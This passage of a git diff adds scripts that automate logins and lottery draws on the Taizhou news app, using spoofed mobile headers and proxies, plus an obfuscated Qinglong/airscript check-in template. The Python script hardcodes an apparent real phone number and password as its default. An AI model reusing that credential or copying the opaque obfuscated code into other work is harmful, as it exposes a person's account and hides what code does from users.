'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + } + params = { + 'accountId': account_id, + 'sessionId': session_id + } + + # 创建一个包含重试策略的会话 + session = requests.Session() + retries = Retry(total=5, backoff_factor=1, status_forcelist=[502, 503, 504]) + session.mount('https://', HTTPAdapter(max_retries=retries)) + + for attempt in range(retry_count): + try: + if dlurl == '': + response = session.get(url, params=params, headers=headers, timeout=10) + else: + response = session.get(url, params=params, headers=headers, timeout=10, proxies=proxies) + if response.status_code == 200: + cookies_dict = response.cookies.get_dict() + s_JSESSIONID = '; '.join([f'{k}={v}' for k, v in cookies_dict.items()]) + return s_JSESSIONID + else: + print(f"请求失败,状态码: {response.status_code}, 响应内容: {response.text}") + except requests.exceptions.RequestException as e: + print(f"请求失败 (尝试 {attempt + 1}/{retry_count}): {e}") + time.sleep(2) # 在重试前增加延迟 + + return None + + def cj(jsessionid, retry_count=3): + url = "https://srv-app.taizhou.com.cn/tzrb/userAwardRecordUpgrade/saveUpdate" + payload = "activityId=67&sessionId=undefined&sig=undefined&token=undefined" + headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Content-Length': '63', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Content-type': 'application/x-www-form-urlencoded', + 'Accept': '*/*', + 'Origin': 'https://srv-app.taizhou.com.cn', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw-ra-1/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': f'{jsessionid}' + } + if dlurl == '': + response = requests.post(url, data=payload, headers=headers, timeout=10) + else: + response = requests.post(url, data=payload, headers=headers, timeout=10, proxies=proxies) + print(response.text) + + phone, password = account.split("#") + message, account_id, session_id, name = sign(phone, password) + if account_id and session_id: + mobile = phone[:3] + "*" * 4 + phone[7:] + jsessionid = login(account_id, session_id) + if jsessionid: + cj(jsessionid) + else: + print(f"获取 JSESSIONID 失败") + else: + print(f"账号 {phone} 登录失败") + + +if __name__ == '__main__': + print = partial(print, flush=True) + token = get_environ("wangchao", '17633912479#lxg021002') + cks = token.split("&") + print("🔔检测到{}个ck记录\n🔔".format(len(cks))) + for ck_all in cks: + ck = ck_all.split("#") + run = Ghdy(ck) + print() + run.login() + run.get_id() + run.look() + choujiang(ck_all, dlurl) diff --git a/脚本库/web版/账密/模板_修改这里/2025-08-25_TEMPLATE_ql_b4f0835b.js b/脚本库/web版/账密/模板_修改这里/2025-08-25_TEMPLATE_ql_b4f0835b.js new file mode 100644 index 0000000..0074bb8 --- /dev/null +++ b/脚本库/web版/账密/模板_修改这里/2025-08-25_TEMPLATE_ql_b4f0835b.js @@ -0,0 +1,621 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/TEMPLATE_ql.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/TEMPLATE_ql.js +// # Repo: imoki/sign_script +// # Path: polymerization/TEMPLATE_ql.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: b4f0835b4e8445324f23d073b735cdef01013b3bf951cc23e1d7e77906e8554e +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "模板"(修改这里) + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0)(airscript 1.0), 青龙 + 更新时间:20241126 + 环境变量名:mouxue(修改这里) + 环境变量值:填写cookie(修改这里) + 备注:抓取cookie(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "mouxue"; // 分配置表名称, (修改这里) +var pushHeader = "【某雪论坛】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // 